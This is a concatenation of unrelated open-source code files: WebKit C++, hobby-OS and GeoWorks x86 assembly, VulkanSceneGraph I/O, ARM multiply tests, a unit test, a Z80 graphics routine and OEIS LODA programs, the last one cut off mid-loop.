* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
* EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL APPLE COMPUTER, INC. OR
* CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
* OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include "config.h"
#include "runtime_method.h"
#include "JSDOMBinding.h"
#include "runtime_object.h"
#include <runtime/Error.h>
#include <runtime/FunctionPrototype.h>
using namespace WebCore;
namespace JSC {
using namespace Bindings;
ASSERT_CLASS_FITS_IN_CELL(RuntimeMethod);
const ClassInfo RuntimeMethod::s_info = { "RuntimeMethod", 0, 0, 0 };
RuntimeMethod::RuntimeMethod(ExecState* exec, const Identifier& ident, Bindings::MethodList& m)
// FIXME: deprecatedGetDOMStructure uses the prototype off of the wrong global object
// exec-globalData() is also likely wrong.
// Callers will need to pass in the right global object corresponding to this native object "m".
: InternalFunction(&exec->globalData(), deprecatedGetDOMStructure<RuntimeMethod>(exec), ident)
, _methodList(new MethodList(m))
{
}
JSValue RuntimeMethod::lengthGetter(ExecState* exec, const Identifier&, const PropertySlot& slot)
{
RuntimeMethod* thisObj = static_cast<RuntimeMethod*>(asObject(slot.slotBase()));
// Ick! There may be more than one method with this name. Arbitrarily
// just pick the first method. The fundamental problem here is that
// JavaScript doesn't have the notion of method overloading and
// Java does.
// FIXME: a better solution might be to give the maximum number of parameters
// of any method
return jsNumber(exec, thisObj->_methodList->at(0)->numParameters());
}
bool RuntimeMethod::getOwnPropertySlot(ExecState* exec, const Identifier& propertyName, PropertySlot &slot)
{
if (propertyName == exec->propertyNames().length) {
slot.setCustom(this, lengthGetter);
return true;
}
return InternalFunction::getOwnPropertySlot(exec, propertyName, slot);
}
bool RuntimeMethod::getOwnPropertyDescriptor(ExecState* exec, const Identifier& propertyName, PropertyDescriptor &descriptor)
{
if (propertyName == exec->propertyNames().length) {
PropertySlot slot;
slot.setCustom(this, lengthGetter);
descriptor.setDescriptor(slot.getValue(exec, propertyName), ReadOnly | DontDelete | DontEnum);
return true;
}
return InternalFunction::getOwnPropertyDescriptor(exec, propertyName, descriptor);
}
static JSValue JSC_HOST_CALL callRuntimeMethod(ExecState* exec, JSObject* function, JSValue thisValue, const ArgList& args)
{
RuntimeMethod* method = static_cast<RuntimeMethod*>(function);
if (method->methods()->isEmpty())
return jsUndefined();
RuntimeObjectImp* imp;
if (thisValue.inherits(&RuntimeObjectImp::s_info)) {
imp = static_cast<RuntimeObjectImp*>(asObject(thisValue));
} else {
// If thisObj is the DOM object for a plugin, get the corresponding
// runtime object from the DOM object.
JSValue value = thisValue.get(exec, Identifier(exec, "__apple_runtime_object"));
if (value.inherits(&RuntimeObjectImp::s_info))
imp = static_cast<RuntimeObjectImp*>(asObject(value));
else
return throwError(exec, TypeError);
}
RefPtr<Instance> instance = imp->getInternalInstance();
if (!instance)
return RuntimeObjectImp::throwInvalidAccessError(exec);
instance->begin();
JSValue result = instance->invokeMethod(exec, *method->methods(), args);
instance->end();
return result;
}
CallType RuntimeMethod::getCallData(CallData& callData)
{
callData.native.function = callRuntimeMethod;
return CallTypeHost;
}
}
|
; ==================================================================
; MISCELLANEOUS ROUTINES
; ==================================================================
; ------------------------------------------------------------------
; os_pause -- Delay execution for specified 110ms chunks
; IN: AX = amount of ticks to wait
os_pause:
pusha
cmp ax, 0
je .time_up ; If delay = 0 then bail out
mov word [.counter_var], 0 ; Zero the counter variable
mov [.orig_req_delay], ax ; Save it
mov ah, 0
call os_int_1Ah ; Get tick count
mov [.prev_tick_count], dx ; Save it for later comparison
.checkloop:
mov ah,0
call os_int_1Ah ; Get tick count again
cmp [.prev_tick_count], dx ; Compare with previous tick count
jne .up_date ; If it's changed check it
jmp .checkloop ; Otherwise wait some more
.time_up:
popa
ret
.up_date:
inc word [.counter_var] ; Inc counter_var
mov ax, [.counter_var]
cmp ax, [.orig_req_delay] ; Is counter_var = required delay?
jge .time_up ; Yes, so bail out
mov [.prev_tick_count], dx ; No, so update .prev_tick_count
jmp .checkloop ; And go wait some more
.orig_req_delay dw 0
.counter_var dw 0
.prev_tick_count dw 0
; ------------------------------------------------------------------
; os_clear_registers -- Clear all registers
; IN: Nothing; OUT: Clear registers
os_clear_registers:
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
xor esi, esi
xor edi, edi
ret
os_illegal_call:
mov ax, .msg
jmp os_crash_application
.msg db 'Called a non-existent system function', 0
os_update_clock:
pusha
cmp byte [0082h], 1
je near .update_time_end
mov ah, 02h ; Get the time
call os_int_1Ah
cmp cx, [.tmp_time]
je near .update_time_end
mov [.tmp_time], cx
call os_get_cursor_pos
push dx
mov bx, .tmp_buffer
call os_get_date_string
mov dx, 69 ; Display date
call os_move_cursor
mov si, bx
call os_print_string
mov bx, .tmp_buffer
call os_get_time_string
mov dx, 63 ; Display time
call os_move_cursor
mov si, bx
call os_print_string
pop dx
call os_move_cursor
.update_time_end:
popa
ret
.tmp_buffer times 12 db 0
.tmp_time dw 0
.tmp_hours db 0
; ------------------------------------------------------------------
; os_crash_application -- Crash the application (or the system)
; IN: AX = error message string location
os_crash_application:
cmp byte [app_running], 0
je os_fatal_error
cli
mov sp, 0FFFEh
sti
pusha
mov ax, 1000h
mov ds, ax
mov es, ax
mov ax, 3
int 10h
mov ax, 1003h ; Set text output with certain attributes
mov bx, 0 ; to be bright, and not blinking
int 10h
mov ax, os_fatal_error.title_msg ; Steal stuff from the other routine
mov bx, os_fatal_error.footer_msg
mov cl, [57000]
call os_draw_background
call os_reset_font
popa
mov cx, ax
mov ax, .msg0
mov bx, .msg1
mov dx, 0
call os_dialog_box
jmp shutdownmenu.hardreset ; Reset MichalOS
.msg0 db 'The application has performed an illegal', 0
.msg1 db 'operation, and InpyoOS must be reset.', 0
; ------------------------------------------------------------------
; os_fatal_error -- Display error message and halt execution
; IN: AX = error message string location
os_fatal_error:
mov [.ax], ax ; Store string location for now, ...
call os_clear_screen
.main_screen:
mov ax, 1000h
mov ds, ax
mov es, ax
mov ax, 3
int 10h
mov ax, 1003h ; Set text output with certain attributes
xor bx, bx ; to be bright, and not blinking
int 10h
call .background
mov dx, 2 * 256
call os_move_cursor
mov si, bomblogo
call os_draw_icon
mov dx, 2 * 256 + 35
call os_move_cursor
mov si, .msg0
call os_print_string
mov dx, 3 * 256 + 35
call os_move_cursor
mov ax, 0A2Ah ; Write a 43-character long asterisk-type line
mov bh, 0
mov cx, 43
int 10h
mov dx, 5 * 256 + 35
call os_move_cursor
mov si, .msg3
call os_print_string
mov si, [.ax]
call os_print_string
call os_hide_cursor
.dead_loop:
hlt
jmp .dead_loop
.background:
mov ax, .title_msg
mov bx, .footer_msg
mov cx, 01001111b
call os_draw_background
call os_reset_font
ret
.title_msg db 'InpyoOS Fatal Error', 13, 10, 0
.footer_msg db 0
.msg0 db 'InpyoOS has encountered a critical error.', 0
.msg3 db 'Error: ', 0
.ax dw 0
; Gets the amount of system RAM.
; IN: nothing
; OUT: AX = conventional memory(kB), EBX = high memory(kB)
os_get_memory:
pusha
xor cx, cx
int 12h ; Get the conventional memory size...
mov [.conv_mem], ax ; ...and store it
mov ah, 88h ; Also get the high memory (>1MB)...
int 15h
mov [.high_mem], ax ; ...and store it too
popa
mov ax, [.conv_mem]
mov bx, [.high_mem]
ret
.conv_mem dw 0
.high_mem dw 0
; Calls a system function from a far location.
; IN: BP = System function number (8000h, 8003h...)
; OUT: nothing
os_far_call:
call bp
retf
; Serves as a middle-man between the INT 1Ah call and the kernel/apps (used for timezones).
; IN/OUT: same as int 1Ah
os_int_1Ah:
pusha
cmp ah, 2 ; Read system time
je .read_time
cmp ah, 4 ; Read system date
je .read_date
popa
int 1Ah
ret
.read_date:
call .update_time
popa
mov dx, [.days]
mov cx, [.years]
ret
.read_time:
call .update_time
popa
mov dh, [.seconds]
mov cx, [.minutes]
ret
.update_time:
mov ah, 4
int 1Ah
mov [.days], dx
mov [.years], cx
mov ah, 2
int 1Ah
mov [.seconds], dh
mov [.minutes], cx
; Convert all of these values from BCD to integers
mov cx, 7
mov si, .seconds
mov di, si
.loop:
lodsb
call os_bcd_to_int
stosb
loop .loop
; Calculate the time with the time offset
mov ax, [57081]
test ax, 8000h
jnz .subtract
xor dx, dx
mov bx, 60
div bx
; DX = value to add to minutes
; AX = value to add to hours
add [.minutes], dl
cmp byte [.minutes], 60
jl .add_minutes_ok
sub byte [.minutes], 60
inc byte [.hours]
cmp byte [.hours], 24
jl .add_minutes_ok
sub byte [.hours], 24
inc byte [.days]
; At this point I don't care
.add_minutes_ok:
add [.hours], al
cmp byte [.hours], 24
jl .encodeandexit
sub byte [.hours], 24
inc byte [.days]
jmp .encodeandexit
.subtract:
neg ax
xor dx, dx
mov bx, 60
div bx
; DX = value to subtract from minutes
; AX = value to subtract from hours
sub [.minutes], dl
cmp byte [.minutes], 0
jge .sub_minutes_ok
add byte [.minutes], 60
dec byte [.hours]
cmp byte [.hours], 0
jge .sub_minutes_ok
add byte [.hours], 24
dec byte [.days]
; At this point I don't care
.sub_minutes_ok:
sub [.hours], al
cmp byte [.hours], 0
jge .encodeandexit
add byte [.hours], 24
dec byte [.days]
.encodeandexit:
mov cx, 7
mov si, .seconds
mov di, si
.encode_loop:
lodsb
call os_int_to_bcd
stosb
loop .encode_loop
ret
.seconds db 0
.minutes db 0
.hours db 0
.days db 0
.months db 0
.years db 0
.centuries db 0
; ==================================================================
|
/* <editor-fold desc="MIT License">
Copyright(c) 2018 Robert Osfield
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
</editor-fold> */
#include <vsg/io/BinaryInput.h>
#include <vsg/io/ReaderWriter.h>
#include <cstring>
#include <iostream>
#include <sstream>
using namespace vsg;
BinaryInput::BinaryInput(std::istream& input, ref_ptr<ObjectFactory> in_objectFactory, ref_ptr<const Options> in_options) :
Input(in_objectFactory, in_options),
_input(input)
{
}
void BinaryInput::_read(std::string& value)
{
uint32_t size = readValue<uint32_t>(nullptr);
value.resize(size, 0);
_input.read(value.data(), size);
}
void BinaryInput::read(size_t num, std::string* value)
{
if (num == 1)
{
_read(*value);
}
else
{
for (; num > 0; --num, ++value)
{
_read(*value);
}
}
}
vsg::ref_ptr<vsg::Object> BinaryInput::read()
{
ObjectID id = objectID();
if (auto itr = objectIDMap.find(id); itr != objectIDMap.end())
{
return itr->second;
}
else
{
std::string className = readValue<std::string>(nullptr);
vsg::ref_ptr<vsg::Object> object;
if (className != "nullptr")
{
object = objectFactory->create(className.c_str());
if (object)
{
object->read(*this);
}
else
{
std::cout << "Unable to create instance of class : " << className << std::endl;
}
}
objectIDMap[id] = object;
return object;
}
}
|
; A167167: A001045 with a(0) replaced by -1.
; -1,1,1,3,5,11,21,43,85,171,341,683,1365,2731,5461,10923,21845,43691,87381,174763,349525,699051,1398101,2796203,5592405,11184811,22369621,44739243,89478485,178956971,357913941,715827883,1431655765,2863311531,5726623061,11453246123,22906492245,45812984491,91625968981,183251937963,366503875925,733007751851,1466015503701,2932031007403,5864062014805,11728124029611,23456248059221,46912496118443,93824992236885,187649984473771,375299968947541,750599937895083,1501199875790165,3002399751580331
seq $0,56469 ; Number of elements in the continued fraction for Sum_{k=0..n} 1/2^2^k.
div $0,3
mul $0,2
sub $0,1
|
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1991 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: VidMem video driver
FILE: clr8Utils.asm
AUTHOR: Jim DeFrisco, Feb 11, 1992
ROUTINES:
Name Description
---- -----------
REVISION HISTORY:
Name Date Description
---- ---- -----------
Jim 2/11/92 Initial revision
DESCRIPTION:
$Id: clr8Utils.asm,v 1.1 97/04/18 11:42:57 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CalcDitherIndices
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS:
CALLED BY:
PASS:
RETURN:
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jim 2/11/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CalcDitherIndices proc far
.enter
.leave
ret
CalcDitherIndices endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SetDither
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Setup the ditherMatrix
CALLED BY: CheckSetDither macro
PASS: ds:[si] - CommonAttr structure
es - Window structure
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
We have quite a few more colors to dither with. I'm using
a method suggested in Graphics Gems 2, page 72. Basically,
we take the 8-bit component values (RGB), map them into 6
different base values (0,33,66,99,cc,ff) and achieve shades
in between those six by dithering. Thus the remainder of the
desired color minus the base chosen is used to index into a
set of dither matrices for each component.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jim 10/19/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SetDither proc far
uses ax,bx,cx,dx,si,ds,es,di
.enter
; load up the RGB values...
mov dl, ds:[si].CA_colorRGB.RGB_red
mov dh, ds:[si].CA_colorRGB.RGB_green
mov bl, ds:[si].CA_colorRGB.RGB_blue
mov ax, es:[W_pattPos] ; get patt ref point
and ax, 0x0303 ; need low 2, not three
; check to see if we really need to re-create it. If the color
; is the same, and the shift amount is the same, then we're OK.
cmp dl, cs:[ditherColor].RGB_red
jne setNewDither
cmp dh, cs:[ditherColor].RGB_green
jne setNewDither
cmp bl, cs:[ditherColor].RGB_blue
jne setNewDither
; besides the color, we should check the rotation.
cmp ax, {word} cs:[ditherRotX] ; same ?
LONG je done
; set up es:di -> at the dither matrix we are about to fill
setNewDither:
mov cs:[ditherColor].RGB_red, dl ; set new color
mov cs:[ditherColor].RGB_green, dh
mov cs:[ditherColor].RGB_blue, bl
mov {word} cs:[ditherRotX], ax ; set rotation value
segmov es, cs, di
mov di, offset ditherMatrix ; es:di -> ditherMatrix
; init the matrix with the base values...
clr bh
mov al, cs:[ditherBase][bx] ; get base value
xchg al, bl ; do lookup for blue
mov ah, cs:[ditherBlue][bx]
mov bl, al ; restore blue value
xchg bl, dl ; dl=blue, use red
mov al, cs:[ditherBase][bx]
xchg al, bl ; al=red, bl=baseRedIdx
add ah, cs:[ditherRed][bx] ; ah = redBase+blueBase
mov bl, al ; bl=red
xchg bl, dh ; dh=red, use green
mov al, cs:[ditherBase][bx] ; get base index
xchg al, bl
add ah, cs:[ditherGreen][bx] ; ah = total base value
mov bl, al ; bl = green
; now for each ditherMatrix position, add the base plus the
; possible addition of a modification value based on the
; remainder of the modulo operation (see vga8Dither.asm)
mov bl, cs:[ditherMod][bx] ; bl -> green dither
xchg bl, dh ; dh=green, load red
mov bl, cs:[ditherMod][bx]
xchg bl, dl ; dl=red, load blue
mov bl, cs:[ditherMod][bx] ; bl=blue
; now fill in the 16 dither positions.
segmov ds, cs, si
mov si, offset ditherCutoff ; ds:si = cutoff values
mov cx, 16 ; 16 values to calc
calcLoop:
lodsb ; al = cutoff value
mov bh, ah ; init with base value
cmp al, bl ; add in more blue ?
jae tryGreen
inc bh
tryGreen:
cmp al, dh ; add in more green ?
jae tryRed
add bh, 6
tryRed:
cmp al, dl ; add in more red ?
jae storeIt
add bh, 36
storeIt:
mov al, bh
stosb ; store next ditherpix
loop calcLoop
; finished, now rotate the dither matrix
mov cx, {word} cs:[ditherRotX] ; get rotation amt
jcxz done
call RotateDither
done:
.leave
ret
SetDither endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
RotateDither
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Dither is offset by the window position. Rotate it.
CALLED BY: INTERNAL
SetDither
PASS: ditherMatrix initialized
cl - x rotation
ch - y rotation
RETURN: nothing
DESTROYED: cx, bx, ax
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jim 10/19/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
RotateDither proc near
; rotate in x first, then in Y
tst cl
jz handleY
mov si, offset cs:ditherMatrix
call RotateX
add si, 4
call RotateX
add si, 4
call RotateX
add si, 4
call RotateX
handleY:
tst ch
jz done
mov si, offset cs:ditherMatrix
call RotateY
inc si
call RotateY
inc si
call RotateY
inc si
call RotateY
done:
ret
RotateDither endp
RotateX proc near
mov ax, {word} ds:[si]
mov bx, {word} ds:[si+2]
cmp cl, 2
ja doThree
jb doOne
xchg ax, bx
done:
mov {word} ds:[si], ax
mov {word} ds:[si+2], bx
ret
doThree:
xchg al, ah
xchg ah, bl
xchg bl, bh
jmp done
doOne:
xchg al, bh
xchg bh, bl
xchg bl, ah
jmp done
RotateX endp
RotateY proc near
mov al, {byte} ds:[si]
mov ah, {byte} ds:[si+4]
mov bl, {byte} ds:[si+8]
mov bh, {byte} ds:[si+12]
cmp ch, 2
ja doThree
jb doOne
xchg ax, bx
done:
mov {byte} ds:[si], al
mov {byte} ds:[si+4], ah
mov {byte} ds:[si+8], bl
mov {byte} ds:[si+12], bh
ret
doThree:
xchg al, ah
xchg ah, bl
xchg bl, bh
jmp done
doOne:
xchg al, bh
xchg bh, bl
xchg bl, ah
jmp done
RotateY endp
|
multiply:
; Tests for multiply operations
t300:
; ARM 5: Multiply
mov r0, 4
mov r1, 8
mul r0, r1, r0
cmp r0, 32
bne f300
b t301
f300:
m_exit 300
t301:
mov r0, -4
mov r1, -8
mul r0, r1, r0
cmp r0, 32
bne f301
b t302
f301:
m_exit 301
t302:
mov r0, 4
mov r1, -8
mul r0, r1, r0
cmp r0, -32
bne f302
b t303
f302:
m_exit 302
t303:
; ARM 5: Multiply accumulate
mov r0, 4
mov r1, 8
mov r2, 8
mla r0, r1, r0, r2
cmp r0, 40
bne t303f
b t304
t303f:
m_exit 303
t304:
mov r0, 4
mov r1, 8
mov r2, -8
mla r0, r1, r0, r2
cmp r0, 24
bne f304
b t305
f304:
m_exit 304
t305:
; ARM 6: Unsigned multiply long
mov r0, 4
mov r1, 8
umull r2, r3, r0, r1
cmp r2, 32
bne f305
cmp r3, 0
bne f305
b t306
f305:
m_exit 305
t306:
mov r0, -1
mov r1, -1
umull r2, r3, r0, r1
cmp r2, 1
bne f306
cmp r3, -2
bne f306
b t307
f306:
m_exit 306
t307:
mov r0, 2
mov r1, -1
umull r2, r3, r0, r1
cmp r2, -2
bne f307
cmp r3, 1
bne f307
b t308
f307:
m_exit 307
t308:
; ARM 6: Unsigned multiply long accumulate
mov r0, 4
mov r1, 8
mov r2, 8
mov r3, 4
umlal r2, r3, r0, r1
cmp r2, 40
bne f308
cmp r3, 4
bne f308
b t309
f308:
m_exit 308
t309:
mov r0, -1
mov r1, -1
mov r2, -2
mov r3, 1
umlal r2, r3, r0, r1
cmp r2, -1
bne f309
cmp r3, -1
bne f309
b t310
f309:
m_exit 309
t310:
; ARM 6: Signed multiply long
mov r0, 4
mov r1, 8
smull r2, r3, r0, r1
cmp r2, 32
bne f310
cmp r3, 0
bne f310
b t311
f310:
m_exit 310
t311:
mov r0, -4
mov r1, -8
smull r2, r3, r0, r1
cmp r2, 32
bne f311
cmp r3, 0
bne f311
b t312
f311:
m_exit 311
t312:
mov r0, 4
mov r1, -8
smull r2, r3, r0, r1
cmp r2, -32
bne f312
cmp r3, -1
bne f312
b t313
f312:
m_exit 312
t313:
; ARM 6: Signed multiply long accumulate
mov r0, 4
mov r1, 8
mov r2, 8
mov r3, 4
smlal r2, r3, r0, r1
cmp r2, 40
bne f313
cmp r3, 4
bne f313
b t314
f313:
m_exit 313
t314:
mov r0, 4
mov r1, -8
mov r2, 32
mov r3, 0
smlal r2, r3, r0, r1
cmp r2, 0
bne f314
cmp r3, 0
bne f314
b t315
f314:
m_exit 314
t315:
; ARM 6: Negative flag
mov r0, 2
mov r1, 1
umulls r2, r3, r0, r1
bmi f315
mov r0, 2
mov r1, -1
smulls r2, r3, r0, r1
bpl f315
b t316
f315:
m_exit 315
t316:
; ARM 5: Not affecting carry and overflow
msr cpsr_f, 0
mov r0, 1
mov r1, 1
mul r0, r1, r0
bcs f316
bvs f316
b t317
f316:
m_exit 316
t317:
msr cpsr_f, FLAG_C or FLAG_V
mov r0, 1
mov r1, 1
mul r0, r1, r0
bcc f317
bvc f317
b t318
f317:
m_exit 317
t318:
; ARM 6: Not affecting carry and overflow
msr cpsr_f, 0
mov r0, 1
mov r1, 1
umull r2, r3, r0, r1
bcs f318
bvs f318
b t319
f318:
m_exit 318
t319:
msr cpsr_f, FLAG_C or FLAG_V
mov r0, 1
mov r1, 1
umull r2, r3, r0, r1
bcc f319
bvc f319
b multiply_passed
f319:
m_exit 319
multiply_passed:
|
; A235332: a(n) = n*(9*n + 25)/2 + 6.
; 6,23,49,84,128,181,243,314,394,483,581,688,804,929,1063,1206,1358,1519,1689,1868,2056,2253,2459,2674,2898,3131,3373,3624,3884,4153,4431,4718,5014,5319,5633,5956,6288,6629,6979,7338,7706,8083,8469,8864,9268,9681,10103,10534,10974,11423,11881,12348,12824,13309,13803,14306,14818,15339,15869,16408,16956,17513,18079,18654,19238,19831,20433,21044,21664,22293,22931,23578,24234,24899,25573,26256,26948,27649,28359,29078,29806,30543,31289,32044,32808,33581,34363,35154,35954,36763,37581,38408,39244,40089,40943,41806,42678,43559,44449,45348
mov $1,9
mul $1,$0
add $1,25
mul $1,$0
div $1,2
add $1,6
mov $0,$1
|
/*
* Copyright (c) 2019-2020, NVIDIA CORPORATION. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* * Neither the name of the NVIDIA CORPORATION nor the
* names of its contributors may be used to endorse or promote products
* derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL NVIDIA CORPORATION BE LIABLE FOR ANY
* DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include "UnitTest.hpp"
#include "jsonModelImporter.h"
#include <fstream>
using namespace tts;
/******************************************************************************
* UNIT TESTS *****************************************************************
*****************************************************************************/
TEST(ImportArraysTest)
{
std::ofstream fout("test.json");
fout << "{" << std::endl;
fout << "\"test.layer.weight\" :" << std::endl;
fout << "[[[1.0, 3.0, -5.0], [2.0, 1.0, 0.0]]]," << std::endl;
fout << "\"test.layer.bias\" :" << std::endl;
fout << "[[2.0, -3.0, 1.0]]" << std::endl;
fout << "}" << std::endl;
fout.flush();
fout.close();
JSONModelImporter importer("test.json");
const LayerData * data = importer.getWeights({"test", "layer"});
ASSERT_TRUE(data != nullptr);
ASSERT_EQ(data->get("weight").count, 6);
EXPECT_EQ(static_cast<const float*>(data->get("weight").values)[0], 1.0f);
EXPECT_EQ(static_cast<const float*>(data->get("weight").values)[1], 3.0f);
EXPECT_EQ(static_cast<const float*>(data->get("weight").values)[2], -5.0f);
EXPECT_EQ(static_cast<const float*>(data->get("weight").values)[3], 2.0f);
EXPECT_EQ(static_cast<const float*>(data->get("weight").values)[4], 1.0f);
EXPECT_EQ(static_cast<const float*>(data->get("weight").values)[5], 0.0f);
ASSERT_EQ(data->get("bias").count, 3);
EXPECT_EQ(static_cast<const float*>(data->get("bias").values)[0], 2.0f);
EXPECT_EQ(static_cast<const float*>(data->get("bias").values)[1], -3.0f);
EXPECT_EQ(static_cast<const float*>(data->get("bias").values)[2], 1.0f);
}
TEST(ImportScalarTest)
{
std::ofstream fout("test.json");
fout << "{" << std::endl;
fout << "\"test.layer.some_value\" :" << std::endl;
fout << "3" << std::endl;
fout << "}" << std::endl;
fout.flush();
fout.close();
JSONModelImporter importer("test.json");
const LayerData * data = importer.getWeights({"test", "layer"});
ASSERT_TRUE(data != nullptr);
ASSERT_EQ(data->get("some_value").count, 1);
EXPECT_EQ(static_cast<const float*>(data->get("some_value").values)[0], 3.0f);
}
|
PUBLIC xorborder
EXTERN xorpixel
EXTERN swapgfxbk
EXTERN swapgfxbk1
;
; $Id: xorborder.asm,v 1.4 2015/01/19 01:32:47 pauloscustodio Exp $
;
; ***********************************************************************
;
; XORs a dotted box. Useful for GUIs.
; Generic version
;
; Stefano Bodrato - March 2002
;
;
; IN: HL = (x,y)
; BC = (width,heigth)
;
.xorborder
call swapgfxbk
ld ix,0
add ix,sp
ld c,(ix+2)
ld b,(ix+4)
ld l,(ix+6)
ld h,(ix+8)
push bc
push hl
; -- Vertical lines --
push hl
ld a,h
add a,b
ret c ; overflow ?
dec a
ld h,a
pop de
.rowloop
push bc
inc l
ex de,hl
push hl
push de
call xorpixel
pop de
pop hl
inc l
pop bc
dec c
jr nz,rowloop
pop hl
pop bc
; -- Horizontal lines --
push hl
ld a,l
add a,c
ret c ; overflow ?
dec a
ld l,a
pop de
.vrowloop
push bc
push hl
push de
call xorpixel
pop de
pop hl
inc h
ex de,hl
inc h
pop bc
djnz vrowloop
jp swapgfxbk1
|
; A267098: a(n) = number of 4k+3 primes among first n primes; least monotonic left inverse of A080148.
; Submitted by Jon Maiga
; 0,1,1,2,3,3,3,4,5,5,6,6,6,7,8,8,9,9,10,11,11,12,13,13,13,13,14,15,15,15,16,17,17,18,18,19,19,20,21,21,22,22,23,23,23,24,25,26,27,27,27,28,28,29,29,30,30,31,31,31,32,32,33,34,34,34,35,35,36,36,36,37,38,38,39,40,40,40,40,40,41,41,42,42,43,44,44,44,44,45,46,47,48,49,50,51,51,51,52,52
mov $5,$0
mov $7,$0
lpb $5
mov $0,$7
sub $5,1
sub $0,$5
mov $1,2
mov $2,1
lpb $0
mov $3,$2
lpb $3
add $2,1
mov $4,$1
gcd $4,$2
cmp $4,1
cmp $4,0
sub $3,$4
lpe
sub $0,1
add $2,1
mul $1,$2
